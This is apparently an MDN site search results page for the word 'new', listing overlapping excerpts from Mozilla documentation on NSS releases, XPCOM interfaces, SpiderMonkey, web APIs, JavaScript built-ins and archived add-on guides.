introduction the nss team has released network security services (nss) 3.35, which is a minor release. distribution information the hg tag is nss_3_35_rtm. nss 3.35 requires nspr 4.18, or
newer. nss 3.35 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_35_rtm/src/
new in nss 3.35
new functionality tls 1.3 support has been updated to draft -23. this includes a large number of changes since 3.34, which supported only draft -18. see below for details.
new types in sslt.h sslhandshaketype - the type of a tls handshake message. for the sslsignaturescheme enum, the enumerated values ssl_sig_rsa_pss_sha* are deprecated in response to a change in ...
...ig_rsa_pss_rsae_sha* for rsaencryption keys, or ssl_sig_rsa_pss_pss_sha* for pss keys. note that this release does not include support for the latter. notable changes in nss 3.35 previously, nss used the dbm file format by default. starting with version 3.35, nss uses the sql file format by default. below, are explanations that could be helpful for environments that need to adopt to the
new default. if nss is initialized, in read-write mode with a database directory provided, it uses database files to store certificates, key, trust, and other information. nss supports two different database file formats: dbm: the legacy file format, based on berkeley db, using filenames cert8.db, key3.db and secmod.db. parallel database access, by multiple applications, is forbidden ...
...ith a database directory provided, it uses database files to store certificates, key, trust, and other information. nss supports two different database file formats: dbm: the legacy file format, based on berkeley db, using filenames cert8.db, key3.db and secmod.db. parallel database access, by multiple applications, is forbidden as it will likely result in data corruption. sql: the
newer file format, based on sqlite, using filenames cert9.db, key4.and and pkcs11.txt. parallel database access, by multiple applications, is supported. applications using nss may explicitly request to use a specific database format, by adding a type prefix to the database directory, provided at nss initialization time. without a prefix, the default database type will be used (dbm in vers...
...And 6 more matches
NSS Tools modutil
you can use the tool to add and delete pkcs #11 modules, change passwords, set defaults, list module contents, enable or disable slots, enable or disable fips 140-2 compliance, and assign default providers for cryptographic operations. this tool can also create key3.db, cert8.db, and secmod.db security database files. ...
...binations of the options and arguments listed in the following section. each command takes one option. each option may take zero or more arguments. to see a usage string, issue the command without options. options and arguments options specify an action. option arguments modify an action. the options and arguments for the modutil command are defined as follows: options -create create
new secmod.db, key3.db, and cert8.db files. use the -dbdir directory argument to specify a directory. if any of these databases already exist in a specified directory, the security module database tool displays an error message. -list [modulename] display basic information about the contents of the secmod.db file. use modulename to display detailed information about a particular module and its slot...
...rity module database tool displays an error message. -list [modulename] display basic information about the contents of the secmod.db file. use modulename to display detailed information about a particular module and its slots and tokens. -add modulename add the named pkcs #11 module to the database. use this option with the -libfile, -ciphers, and -mechanisms arguments. -jar jar-file add a
new pkcs #11 module to the database using the named jar file. use this option with the -installdir and -tempdir arguments. the jar file uses the netscape server pkcs #11 jar format to identify all the files to be installed, the module's name, the mechanism flags, and the cipher flags. the jar file should also contain any files to be installed on the target machine, including the pkcs #11 module libra...
...And 6 more matches
Rhino serialization
beginning with rhino 1.5 release 3 it is possible to serialize javascript objects, including functions and scripts. however, serialization of code in compilation mode has some significant limitations. serialization provides a way to save the state of an object and write it out to a file or send it across a network connection. simple serialization example the rhino shell has two
new top-level functions, serialize and deserialize. they're intended mainly as examples of the use of serialization: $ java org.mozilla.javascript.tools.shell.main js> function f() { return 3; } js> serialize(f, "f.ser") js> quit() $ java org.mozilla.javascript.tools.shell.main js> f = deserialize("f.ser") function f() { return 3;} js> f() 3 js> here we see a simple case of a function being serialized to a...
...serialize. ...
...rialization: $ java org.mozilla.javascript.tools.shell.main js> function f() { return 3; } js> serialize(f, "f.ser") js> quit() $ java org.mozilla.javascript.tools.shell.main js> f = deserialize("f.ser") function f() { return 3;} js> f() 3 js> here we see a simple case of a function being serialized to a file and then read into a
new instance of rhino and called. ...
...And 6 more matches
SpiderMonkey 17
these release notes are an incomplete draft and were initially seeded from the (now-defunct) 1.8.8 release notes, which were themselves seeded from the 1.8.5 release notes, so lots of the information here isn't actually
new to spidermonkey 17. the mozilla javascript team is pleased to announce the release of spidermonkey 17. you can download full source code here: http://ftp.mozilla.org/pub/mozilla.org/js/mozjs17.0.0.tar.gz (md5 checksum: 20b6f8f1140ef6e47daa3b16965c9202). spidermonkey 17 is the javascript engine that shipped in firefox 17. ...
...l source code here: http://ftp.mozilla.org/pub/mozilla.org/js/mozjs17.0.0.tar.gz (md5 checksum: 20b6f8f1140ef6e47daa3b16965c9202). spidermonkey 17 is the javascript engine that shipped in firefox 17. it continues to improve performance over previous spidermonkey releases, with ongoing jit compilation work and with the introduction of type inference to enable faster jitted code. it also contains
new language and api features described in detail below. please let us know about your experiences with this release by posting in the mozilla.dev.tech.js-engine
newsgroup. or file bugs at bugzilla.mozilla.org under product: core, component: javascript engine. — 25 march 2013 platform support spidermonkey 17 is supported on all the platforms where firefox 17 runs. spidermonkey 17 includes a just...
... supported. on all other platforms the jit is simply disabled; javascript code runs in an interpreter, as in previous versions. it's the same language, just not as fast. migrating to spidermonkey 17 the following features in earlier versions of spidermonkey have been dropped. the jsresolve_classname and jsresolve_with resolve flags (passed to jsclass.resolve when jsclass.flags contains jsclass_
new_resolve) have been removed. spidermonkey 17 is not binary-compatible with previous releases, nor is it source-code compatible. many jsapi types, functions, and callback signatures have changed, though most of them still have the same names and do the same things. applications will need significant changes, but most of those changes will be detected by the c/c++ compiler, so they are easy to dete...
...And 6 more matches
Handling Mozilla Security Bugs
for coordinating the investigation and resolution of reported mozilla security vulnerabilities. the security module owner will have one or more peers to assist in this task. at the same time, mozilla.org is also creating a larger "mozilla security bug group" by which mozilla contributors and others can participate in addressing security vulnerabilities in mozilla. ...
...more peers to assist in this task. at the same time, mozilla.org is also creating a larger "mozilla security bug group" by which mozilla contributors and others can participate in addressing security vulnerabilities in mozilla. this document describes how the
new security organizational structure will work, and how security-related mozilla bug reports will be handled. note that the focus of this
new structure is restricted solely to addressing actual security vulnerabilities arising from problems in mozilla code. this work is separate from the work of developers adding
new security features (cryptographically-based or otherwise) to mozilla, although obviously many of the same people will be involved in both sets of activities. background security vulnerabilities are different from other bu...
...ndent volunteers and to employees of the various corporations and other organizations involved with mozilla. the mozilla security module owner and peers the mozilla security module owner will have a similar level of power and responsibility as other mozilla module owners. also, as with other mozilla module owners, mozilla.org staff will oversee the work of the security module owner and select a
new security module owner should that ever be necessary for any reason. the mozilla security module owner will work with mozilla.org staff to select one or more people to act as peers to the security module owner in investigating and resolving security vulnerabilities; the peers will share responsibility for overseeing and coordinating any and all activities related to security bugs. the mozilla se...
...And 6 more matches
Places utilities for JavaScript
nts(afolderid, aexcludeitems, aexpandqueries) generates a nsinavhistoryresult for the contents of a folder. parameters folderid the folder to open [optional] excludeitems true to hide all items (individual bookmarks). this is used on the left places pane so you just get a folder hierarchy. [optional] expandqueries true to make query items expand as
new containers. for managing,you want this to be false, for menus and such, you want this to be true. return type returns a nsinavhistoryresult containing the contents of the folder. the result.root is guaranteed to be open. bookmark dialog methods to show the bookmarkproperties dialog in its various modes. the showminimaladd methods open the dialog by its alternative uri. thus they persist the...
...howaddbookmarkui(auri, atitle, adescription, adefaultinsertionpoint, ashowpicker, aloadinsidebar, akeyword, apostdata) parameters [optional] auri an nsiuri object for which the "add bookmark" dialog is to be shown. [optional] atitle the default title for the
new bookmark. [optional] adescription the default description for the
new bookmark [optional] adefaultinsertionpoint the default insertion point for the
new item. if set, the folder picker would be hidden unless ashowpicker is set to true, in which case the dialog only uses the folder identifier from the insertion point as the initially selected item in the folder picker. [optional] ashowpicker ...
...the keyword field will be shown in the dialog if this is used. [optional] apostdata post data for post-style keywords. return type returns true if any transaction has been performed. ...
...And 6 more matches
Creating the Component Code
sed to regxpcom, the program registers the component in the default component registry. we suggest that when you are testing your component in the mozilla or netscape client, you copy your component into the components directory in the client's installation folder. when it is copied there, run regxpcom from the command line to register that component and all the others in that directory. several
new options have been added to regxpcom in versions 1.4 and later. you can run regxpcom with the -h option to see full usage options. registration alternatives a gecko embedding application may provide other ways to register xpcom components. xpinstall, the cross-platform installation technology that mozilla uses to install the browser and other components, is one such alternative. it is described ...
...source as we mentioned in the previous section, components have layers. there are three main parts to every xpcom component. from the innermost and moving outward, the first object is the xpcom object. this is the object that contains the business logic, that implements functionality such as starting a network download, implementing interfaces that listen to the download progress, or providing a
new content type handler. in weblock, this is the part that brings together various gecko services and prevents users from leaving the list of acceptable domains. in a way, the factory and module layers are glue to plug the xpcom object into the larger xpcom system. one layer above the object itself is the nsifactory object. this object provides basic abstraction of the xpcom object itself. as you c...
...at the various parts of the component and how they'll be implemented in the source, let's look at the module in weblock.cpp to see where we're going. the source we're referring to is listed in its entirety at the end of this chapter (see weblock1.cpp). the source file for the weblock component contains three classes. in order to make the weblock component work in mozilla, you have to implement a
new interface to the weblock component, iweblock, where the actual work specific to the the web locking features happens. you also have to create weblockmodule to implement the necessary nsimodule interface, and you have to create weblockfactory to implement nsifactory and create a factory that hands instances of your component to clients. these three interface implementations - for the component fun...
...And 6 more matches
nsIChannelEventSink
s are called before onstartrequest. note: prior to gecko 2.0, redirect handling was synchronous, using the onchannelredirect() method. starting in gecko 2.0, that method no longer exists, and instead the asynconchannelredirect() method is called; this uses a callback to handle redirects asynchronously. ...
... 2.0, that method no longer exists, and instead the asynconchannelredirect() method is called; this uses a callback to handle redirects asynchronously. method overview void asynconchannelredirect(in nsichannel oldchannel, in nsichannel
newchannel, in unsigned long flags, in nsiasyncverifyredirectcallback callback); void onchannelredirect(in nsichannel oldchannel, in nsichannel
newchannel, in unsigned long flags); obsolete since gecko 2.0 constants constant value description redirect_temporary 1 << 0 this is a temporary redirect.
new requests for this resource should continue to use the uri of the old channel. the
new uri may be identical to the old one. redirect_permanent 1 << 1 this is a permanent redirect. ...
...channel, in unsigned long flags); obsolete since gecko 2.0 constants constant value description redirect_temporary 1 << 0 this is a temporary redirect.
new requests for this resource should continue to use the uri of the old channel. the
new uri may be identical to the old one. redirect_permanent 1 << 1 this is a permanent redirect.
new requests for this resource should use the uri of the
new channel (this might be an http 301 reponse). if this flag is not set, this is a temporary redirect. the
new uri may be identical to the old one. ...
...And 6 more matches
nsIScriptableIO
need to get a reference as with other components: var scriptableio = components.classes["@mozilla.org/io/scriptable-io;1"] .getservice(); scriptableio.getfile("profile", "cookies.txt"); method overview nsifile getfile(in astring alocation, in astring afilename); nsifile getfilewithpath(in astring afilepath); nsisupports
newinputstream(in nsivariant abase, in astring amode, [optional] in astring acharset, [optional] in astring areplacechar, [optional] in unsigned long abuffersize); nsisupports
newoutputstream(in nsivariant abase, in astring amode, [optional] in astring acharset, [optional] in astring areplacechar, [optional] in unsigned long abuffersize, [optional] in unsigned long apermissions); ...
...ariant abase, in astring amode, [optional] in astring acharset, [optional] in astring areplacechar, [optional] in unsigned long abuffersize); nsisupports
newoutputstream(in nsivariant abase, in astring amode, [optional] in astring acharset, [optional] in astring areplacechar, [optional] in unsigned long abuffersize, [optional] in unsigned long apermissions); nsiuri
newuri(in nsivariant auri); methods getfile() retrieves a reference to a file or directory on disk. the file does not have to exist already; this method simply creates the file reference which may then be passed to the
newinputstream() or
newoutputstream() method to open the file for reading or writing. files are located by starting at a known directory, specified using a location key string...
...) and construct the path from the base location manually. nsifile getfilewithpath( in astring afilepath ); parameters afilepath the absolute pathname of the file to reference, or the value of a file's persistentdescriptor. return value returns an nsifile object referencing the specified file location. exceptions thrown ns_error_invalid_arg afilepath was null.
newuri() creates a uri object that implements the nsiuri interface. nsiuri
newuri( in nsivariant auri ); parameters auri the file for which to create a
new nsiuri object. this parameter may be specified either as a url string or as an nsifile object. return value returns an nsiuri object corresponding to the specified string or file. exceptions thrown ns_error_invalid_ar...
...And 6 more matches
nsIXPCScriptable
obj, in jsval id, in jsvalptr vp); prbool getproperty(in nsixpconnectwrappednative wrapper, in jscontextptr cx, in jsobjectptr obj, in jsval id, in jsvalptr vp); prbool setproperty(in nsixpconnectwrappednative wrapper, in jscontextptr cx, in jsobjectptr obj, in jsval id, in jsvalptr vp); prbool enumerate(in nsixpconnectwrappednative wrapper, in jscontextptr cx, in jsobjectptr obj); prbool
newenumerate(in nsixpconnectwrappednative wrapper, in jscontextptr cx, in jsobjectptr obj, in pruint32 enum_op, in jsvalptr statep, out jsid idp); prbool
newresolve(in nsixpconnectwrappednative wrapper, in jscontextptr cx, in jsobjectptr obj, in jsval id, in pruint32 flags, out jsobjectptr objp); prbool convert(in nsixpconnectwrappednative wrapper, in jscontextptr cx, in jsobjectptr obj, in pruin...
... classname string scriptableflags pruint32 the bitwise or'd set of flags (define below) that indicate the behavior of this object. constants constant value description want_precreate 1 << 0 want_create 1 << 1 want_postcreate 1 << 2 want_addproperty 1 << 3 want_delproperty 1 << 4 want_getproperty 1 << 5 want_setproperty 1 << 6 want_enumerate 1 << 7 want_
newenumerate 1 << 8 indicates that the object wants to have its
newenumerate method called. want_
newresolve 1 << 9 indicates that the object wants to have its
newresolve method called. want_convert 1 << 10 want_finalize 1 << 11 want_checkaccess 1 << 12 want_call 1 << 13 want_construct 1 << 14 want_hasinstance 1 << 15 want_trace 1 << 16 use_jsstub_for_addproperty 1 <<...
...ctwrappednative wrapper, in jscontextptr cx, in jsobjectptr obj, in jsval id, in jsvalptr vp ); parameters wrapper cx obj id vp return value ns_success_i_did_something if this method does something. ...
...And 6 more matches
XUL Overlays
xul files and overlays work together to describe a single master document. though there is no formal restriction on what kind of xul content is located in "base" xul files and what kind should be put in overlays, xul overlays generally define items that are not present in the basic versions of the ui, such as additional components. ...
... is located in "base" xul files and what kind should be put in overlays, xul overlays generally define items that are not present in the basic versions of the ui, such as additional components. when plug-ins, browser extensions, or other applications provide
new ui elements to the browser, these elements should be defined in overlay files. ...
...plug-ins, browser extensions, or other applications provide
new ui elements to the browser, these elements should be defined in overlay files. ...
...And 6 more matches
Mozilla
idea that software (among other things) should be designed to be usable and, as much as possible, convenient to use for people with disabilities. mozilla strives to make its software accessible; the documents below cover the ways in which we do so. add-ons add-ons allow developers to extend and modify the functionality of firefox. ...
...nd, as much as possible, convenient to use for people with disabilities. mozilla strives to make its software accessible; the documents below cover the ways in which we do so. add-ons add-ons allow developers to extend and modify the functionality of firefox. adding a
new css property this page describes how to add a
new css property to the style system. the style system is the part of the code in gecko that is responsible for producing a computed value for every property for every element. see the gecko overview for more information about the style system. adding a
new event this draft document covers how to add a
new event to the mozilla (firefox) source code. ...
...o the style system. the style system is the part of the code in gecko that is responsible for producing a computed value for every property for every element. see the gecko overview for more information about the style system. adding a
new event this draft document covers how to add a
new event to the mozilla (firefox) source code. adding a
new word to the en-us dictionary occasionally bugs are filed pointing out situations where perfectly legitimate words are missing from the english spell check dictionary in firefox. this article describes the process for adding a word to the dictionary. adding phishing protection data providers phishing protection technology lets ...
...And 6 more matches
Drawing shapes with canvas - Web APIs
, curved or not, of different width and of different color. a path, or even a subpath, can be closed. to make shapes using paths, we take some extra steps: first, you create the path. then you use drawing commands to draw into the path. once the path has been created, you can stroke or fill the path to render it. here are the functions used to perform these steps: beginpath() creates a
new path. once created, future drawing commands are directed into the path and used to build the path up. path methods methods to set different paths for objects. closepath() adds a straight line to the path, going to the start of the current sub-path. stroke() draws the shape by stroking its outline. fill() draws a solid shape by filling the path's content area. the first step to create a ...
...going to the start of the current sub-path. stroke() draws the shape by stroking its outline. fill() draws a solid shape by filling the path's content area. the first step to create a path is to call the beginpath(). internally, paths are stored as a list of sub-paths (lines, arcs, etc) which together form a shape. every time this method is called, the list is reset and we can start drawing
new shapes. note: when the current path is empty, such as immediately after calling beginpath(), or on a
newly created canvas, the first path construction command is always treated as a moveto(), regardless of what it actually is. for that reason, you will almost always want to specifically set your starting position after resetting a path. the second step is calling the methods that actually speci...
...we then use the moveto() method to move the starting point to the desired position. below this, two lines are drawn which make up two sides of the triangle. screenshotlive sample you'll notice the difference between the filled and stroked triangle. this is, as mentioned above, because shapes are automatically closed when a path is filled, but not when they are stroked. if we left ou...
...And 6 more matches
SVGPathSegList - Web APIs
svg path segment list interface this interface defines a list of svgpathseg objects. ...
...this interface defines a list of svgpathseg objects. ...
... also implement none methods void clear() svgpathseg initialize(in svgpathseg
newitem) svgpathseg getitem(in unsigned long index) svgpathseg insertitembefore(in svgpathseg
newitem, in unsigned long index) svgpathseg replaceitem(in svgpathseg
newitem, in unsigned long index) svgpathseg removeitem(in unsigned long index) svgpathseg appenditem(in svgpathseg
newitem) properties readonly unsigned long numberofitems normative document svg 1.1 (2nd edition) ...
...And 6 more matches
WebGL model view projection - Web APIs
l frameworks and engines. clip space in a webgl program, data is typically uploaded to the gpu with its own coordinate system and then the vertex shader transforms those points into a special coordinate system known as clip space. any data which extends outside of the clip space is clipped off and not rendered. however, if a triangle straddles the border of this space then it is chopped up into
new triangles, and only the parts of the
new triangles that are in clip space are kept. the above graphic is a visualization of the clip space that all of the points must fit into. it is a cube two units on each side, with one corner at (-1,-1,-1) and the opposite corner at (1,1,1). the center of the cube is the point (0,0,0). this 8 cubic meter coordinate system used by clip space is known as nor...
...gl to test the depth when drawing, so if a square is behind // another square it won't be drawn gl.enable(gl.depth_test); } webglbox draw now we'll create a method to draw a box on the screen. webglbox.prototype.draw = function(settings) { // create some attribute data; these are the triangles that will end being // drawn to the screen. there are two that form a square. ...
...ttings.bottom, settings.depth, settings.right, settings.bottom, settings.depth, settings.left, settings.top, settings.depth, //triangle 2 settings.left, settings.top, settings.depth, settings.right, settings.bottom, settings.depth, settings.right, settings.top, settings.depth ]); // use webgl to draw this onto the screen. // performance note: creating a
new array buffer for every draw call is slow. // this function is for illustration purposes only. var gl = this.gl; // create a buffer and bind the data var buffer = gl.createbuffer(); gl.bindbuffer(gl.array_buffer, buffer); gl.bufferdata(gl.array_buffer, data, gl.static_draw); // setup the pointer to our attribute data (the triangles) gl.enablevertexattribarray(this.positionlocati...
...And 6 more matches
Spaces and reference spaces: Spatial tracking in WebXR - Web APIs
current facing direction and position of the viewer. the returned viewer pose, viewerpose, can in turn be used to compute positions and orientations to properly render the objects in the scene given the user's point of view. ...
...boundedreferencespace are read-only, you can easily create
new reference spaces by applying an offset transform to them. this is done by calling the reference space's getoffsetreferencespace() method. offsetting positions within a reference space the simplest case for using getoffsetreferencespace() is to transform a point or matrix within the context of the same space. ...
...ference space's getoffsetreferencespace() method. offsetting positions within a reference space the simplest case for using getoffsetreferencespace() is to transform a point or matrix within the context of the same space. for example, to create a
new reference space that moves the reference space arefspace a half meter in each direction, you can do something like this: let halfmetertransform =
new xrrigidtransform({ x: 0.5, y: 0.5, z: 0.5, w: 1.0 }); arefspace = arefspace.getoffsetreferencespace(halfmetertransform); this replaces the existing reference space arefspace with one whose coordinates and orientation have had the transform halfmetertransform applied. with no orientation data included in the transform, the orientation of arefspace is unaffected. converting between webxr...
...And 6 more matches
Privileged features - Web APIs
his page lists the windowfeatures parameter of window.open function that requires chrome-privilege in firefox. this is not for web content. the following features require the chrome-privilege. centerscreen centers the window in relation to its parent's size and position. minimizable this setting can only apply to dialog windows; minimizable requires dialog=yes. if minimizable is on, the
new dialog window will have a minimize system command icon in the titlebar and it will be minimizable. any non-dialog window is always minimizable and minimizable=no will be ignored. dependent if on, the
new window is said to be dependent of its parent window. a dependent window closes when its parent window closes. a dependent window is minimized on the windows task bar only when its parent window...
...hich have no minimize system command icon and no maximize/restore down system command icon on the titlebar nor in correspondent menu item in the command system menu. they are said to be dialog because their normal, usual purpose is to only notify info and to be dismissed, closed. on mac systems, dialog windows have a different window border and they may get turned into a sheet. modal if on, the
new window is said to be modal. the user cannot return to the main window until the modal window is closed. a typical modal window is created by the alert() function. the exact behavior of modal windows depends on the platform and on the mozilla release version. note: as of gecko 1.9, the internet explorer equivalent to this feature is the window.showmodaldialog() method. for compatibility reason...
...r of modal windows depends on the platform and on the mozilla release version. note: as of gecko 1.9, the internet explorer equivalent to this feature is the window.showmodaldialog() method. for compatibility reasons, it's now supported in firefox. note also that starting in gecko 2.0, you can use window.showmodaldialog() without universalbrowserwrite privileges. ...
...And 6 more matches
position - CSS: Cascading Style Sheets
ies have no effect. this is the default value. relative the element is positioned according to the normal flow of the document, and then offset relative to itself based on the values of top, right, bottom, and left. the offset does not affect the position of any other elements; thus, the space given for the element in the page layout is the same as if position were static. this value creates a
new stacking context when the value of z-index is not auto. its effect on table-*-group, table-row, table-column, table-cell, and table-caption elements is undefined. absolute the element is removed from the normal document flow, and no space is created for the element in the page layout. it is positioned relative to its closest positioned ancestor, if any; otherwise, it is placed relative to the i...
...table-caption elements is undefined. absolute the element is removed from the normal document flow, and no space is created for the element in the page layout. it is positioned relative to its closest positioned ancestor, if any; otherwise, it is placed relative to the initial containing block. its final position is determined by the values of top, right, bottom, and left. this value creates a
new stacking context when the value of z-index is not auto. the margins of absolutely positioned boxes do not collapse with other margins. fixed the element is removed from the normal document flow, and no space is created for the element in the page layout. it is positioned relative to the initial containing block established by the viewport, except when one of its ancestors has a transform, persp...
...as a transform, perspective, or filter property set to something other than none (see the css transforms spec), in which case that ancestor behaves as the containing block. (note that there are browser inconsistencies with perspective and filter contributing to containing block formation.) its final position is determined by the values of top, right, bottom, and left. this value always creates a
new stacking context. in printed documents, the element is placed in the same position on every page. sticky the element is positioned according to the normal flow of the document, and then offset relative to its nearest scrolling ancestor and containing block (nearest block-level ancestor), including table-related elements, based on the values of top, right, bottom, and left. the offset does not a...
...And 6 more matches
Setting up adaptive streaming media sources - Developer guides
hls (http live streaming) in order to adaptively stream media we need to split the media up into chunks. we are required to provide several different quality files split up over several time points. the more qualities and time points there are, the more 'adaptive' your stream will be, but we will usually want to find a pragmatic balance between size, time to encode and adaptiveness. the good
news is that once we have encoded our media in the appropriate format we are pretty good to go. for adaptive streaming over http, no special server-side components are required. both mpeg-dash and hls use a playlist format to structure the component piece of media that make the possible streams. various bitrate streams are broken into segments and placed in appropriate server folders — we have to ...
... to get this software up and running. note: since mpeg-dash decoding is done partially using javascript and mse files are often grabbed using xhr, keep same origin rules in mind. note: if you use webm you can use the methods shown in this tutorial dash adaptive streaming for html 5 video. ...
...ript and mse files are often grabbed using xhr, keep same origin rules in mind. note: if you use webm you can use the methods shown in this tutorial dash adaptive streaming for html 5 video. once encoded your file structure may look something like this: play list -> /segments/
news.mp4.mpd main segment folder -> /segments/main/ 100 kbps segment folder -> /segments/main/
news100 contains (1.m4s, 2.m4s, 3.m4s ... ) 200 kbps segment folder -> /segments/main/
news200 contains (1.m4s, 2.m4s, 3.m4s ... ) 300 kbps segment folder -> /segments/main/
news300 contains (1.m4s, 2.m4s, 3.m4s ... ) 400 kbps segment folder -> /segments/main/
news400 contains (1.m4s, 2.m4s, 3.m4s ... ) the playlist or .mpd file contains xml that explicitly lists where all the various bitrate fil...
...And 6 more matches
Array.from() - JavaScript
the array.from() static method creates a
new, shallow-copied array instance from an array-like or iterable object. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax array.from(arraylike [, mapfn [, thisarg]]) parameters arraylike an array-like or iterable object to convert to an array. mapfn optional map function to call on every element of the array. thisarg optional value to use as this when executing mapfn. return value a
new array instance. description array.from() lets you create arrays from: array-like objects (objects with a length property and indexed elements); or iterable objects ...
...portant for certain array subclasses, like typed arrays, since the intermediate array would necessarily have values truncated to fit into the appropriate type. the length property of the from() method is 1. in es2015, the class syntax allows sub-classing of both built-in and user-defined classes. as a result, static methods such as array.from() are "inherited" by subclasses of array, and create
new instances of the subclass, not array. polyfill array.from() was added to the ecma-262 standard in the 6th edition (es2015). as such, it may not be present in other implementations of the standard. you can work around this by inserting the following code at the beginning of your scripts, allowing use of array.from() in implementations that don't natively support it. polyfill notes: this algo...
... return function from(arraylikeoriterator /*, mapfn, thisarg */) { // 1. let c be the this val...
...And 6 more matches
Int16Array() constructor - JavaScript
the int16array() typed array constructor creates an array of twos-complement 16-bit signed integers in the platform byte order. if control over byte order is needed, use dataview instead. the contents are initialized to 0. once established, you can reference elements in the array using the object's methods, or using standard array index syntax (that is, using bracket notation). syntax
new int16array(); //
new in es2017
new int16array(length);
new int16array(typedarray);
new int16array(object);
new int16array(buffer [, byteoffset [, length]]); parameters length when called with a length argument, an internal array buffer is created in memory, of size length multiplied by bytes_per_element bytes, containing zeros. typedarray when called with a typedarray argument, which can be an obje...
...bject);
new int16array(buffer [, byteoffset [, length]]); parameters length when called with a length argument, an internal array buffer is created in memory, of size length multiplied by bytes_per_element bytes, containing zeros. typedarray when called with a typedarray argument, which can be an object of any of the typed array types (such as int32array), the typedarray gets copied into a
new typed array. each value in typedarray is converted to the corresponding type of the constructor before being copied into the
new array. the length of the
new typed array will be same as the length of the typedarray argument. object when called with an object argument, a
new typed array is created as if by the typedarray.from() method. buffer, byteoffset, length when called with a buffer, and ...
...ed to the corresponding type of the constructor before being copied into the
new array. the length of the
new typed array will be same as the length of the typedarray argument. object when called with an object argument, a
new typed array is created as if by the typedarray.from() method. buffer, byteoffset, length when called with a buffer, and optionally a byteoffset and a length argument, a
new typed array view is created that views the specified arraybuffer. the byteoffset and length parameters specify the memory range that will be exposed by the typed array view. if both are omitted, all of buffer is viewed; if only length is omitted, the remainder of buffer is viewed. ...
...And 6 more matches
Int32Array() constructor - JavaScript
the int32array() typed array constructor creates an array of twos-complement 32-bit signed integers in the platform byte order. if control over byte order is needed, use dataview instead. the contents are initialized to 0. once established, you can reference elements in the array using the object's methods, or using standard array index syntax (that is, using bracket notation). syntax
new int32array(); //
new in es2017
new int32array(length);
new int32array(typedarray);
new int32array(object);
new int32array(buffer [, byteoffset [, length]]); parameters length when called with a length argument, an internal array buffer is created in memory, of size length multiplied by bytes_per_element bytes, containing zeros. typedarray when called with a typedarray argument, which can be an obje...
...bject);
new int32array(buffer [, byteoffset [, length]]); parameters length when called with a length argument, an internal array buffer is created in memory, of size length multiplied by bytes_per_element bytes, containing zeros. typedarray when called with a typedarray argument, which can be an object of any of the typed array types (such as int32array), the typedarray gets copied into a
new typed array. each value in typedarray is converted to the corresponding type of the constructor before being copied into the
new array. the length of the
new typed array will be same as the length of the typedarray argument. object when called with an object argument, a
new typed array is created as if by the typedarray.from() method. buffer, byteoffset, length when called with a buffer, and ...
...ed to the corresponding type of the constructor before being copied into the
new array. the length of the
new typed array will be same as the length of the typedarray argument. object when called with an object argument, a
new typed array is created as if by the typedarray.from() method. buffer, byteoffset, length when called with a buffer, and optionally a byteoffset and a length argument, a
new typed array view is created that views the specified arraybuffer. the byteoffset and length parameters specify the memory range that will be exposed by the typed array view. if both are omitted, all of buffer is viewed; if only length is omitted, the remainder of buffer is viewed. ...
...And 6 more matches
Promise.prototype.then() - JavaScript
{[[promisestatus]]: "pending", [[promisevalue]]: undefined} // "this gets called after the end of the main stack. the value received and returned is: 33" // promise {[[promisestatus]]: "resolved", [[promisevalue]]: 33} description as the then and promise.prototype.catch() methods return promises, they can be chained — an operation called composition. examples using the then method var p1 =
new promise((resolve, reject) => { resolve('success!'); // or // reject(
new error("error!")); }); p1.then(value => { console.log(value); // success! }, reason => { console.error(reason); // error! }); chaining the then method returns a promise which allows for method chaining. if the function passed as handler to then returns a promise, an equivalent promise will be exposed to the subs...
...e which allows for method chaining. if the function passed as handler to then returns a promise, an equivalent promise will be exposed to the subsequent then in the method chain. the below snippet simulates asynchronous code with the settimeout function. promise.resolve('foo') // 1. receive "foo", concatenate "bar" to it, and resolve that to the next then .then(function(string) { return
new promise(function(resolve, reject) { settimeout(function() { string += 'bar'; resolve(string); }, 1); }); }) // 2. receive "foobar", register a callback function to work on that string // and print it to the console, but not before returning the unworked on // string to the next then .then(function(string) { settimeout(function() { string += 'baz...
... settimeout function console.log(string); // foobar }); // logs, in order: // last then: oops... didn't bother to instantiate and return a promise in the prior then so the sequence may be a bit surprising // foobar // foobarbaz when a value is simply returned from within a then handler, it will effectively return promise.resolve(<value returned by whichever handler was called>). ...
...And 6 more matches
Updating addons broken by private browsing changes - Archive of obsolete content
imgicache: this must no longer be obtained as a service. see the imgicache article for more information. moziasyncfavicons/nsifaviconservice: setandfetchfaviconf...
...vate-browsing private-browsing-cancel-vote private-browsing-change-granted private-browsing-transition-complete then your addon will require updating to correctly support the
new per-window private browser feature in firefox 20 (and will require updating to work correctly in releases of firefox since the ones listed). idls nsitransferable: see using the clipboard for information about the
new init method. imgicache: this must no longer be obtained as a service. see the imgicache article for more information. ...
... nsicontentprefservice: getpref, setpref, haspref, hascachedpref, removepref, removegroupedprefs, removeprefsbyname, getprefs, and getprefsbyname all take a required nsiloadcontext argument to indicate the privacy status of the pref in question. ...
...And 5 more matches
Embedding Mozilla in a Java Application using JavaXPCOM - Archive of obsolete content
logy is obsolete. no active maintainer has stepped forward, and the code broke in firefox 4. the code has been removed from the mozilla source tree. xulrunner ships with the javaxpcom component, which allows java code to interact with xpcom objects. as you will see in this article, working with xpcom objects in java is not that much different than doing so in c++. prerequisites java 1.4.2 or
newer xulrunner 1.8.0.1 or
newer embedding in order to embed mozilla in your java application, you will need to add the library mozillainterfaces.jar (located in xulrunner/sdk/lib folder) to your classpath. this library provides the interfaces necessary to bootstrap mozilla and call xpcom methods. to start embedding, we use the methods provided by the mozilla singleton class. first, the java app...
...rary mozillainterfaces.jar (located in xulrunner/sdk/lib folder) to your classpath. this library provides the interfaces necessary to bootstrap mozilla and call xpcom methods. to start embedding, we use the methods provided by the mozilla singleton class. ...
...in xulrunner/sdk/lib folder) to your classpath. this library provides the interfaces necessary to bootstrap mozilla and call xpcom methods. to start embedding, we use the methods provided by the mozilla singleton class. ...
...And 5 more matches
Modularization techniques - Archive of obsolete content
the mechanism we're using is based on the principles laid down by com, so pretty much anything you know about com can be applied here, and any reference on com can provide you with more interesting and complex examples than the ones provided here. the basics interfaces the basic building blocks of modules are c++ pure virtual interfaces. ...
...s nsifactory: public nsisupports { public: ns_imethod createinstance(nsisupports *aouter, const nsiid &aiid, void **aresult) = 0; ns_imethod lockfactory(prbool alock) = 0; the reason for using factories is that it provides a mechanism for creating an object without having access to the class declaration for that object. calling
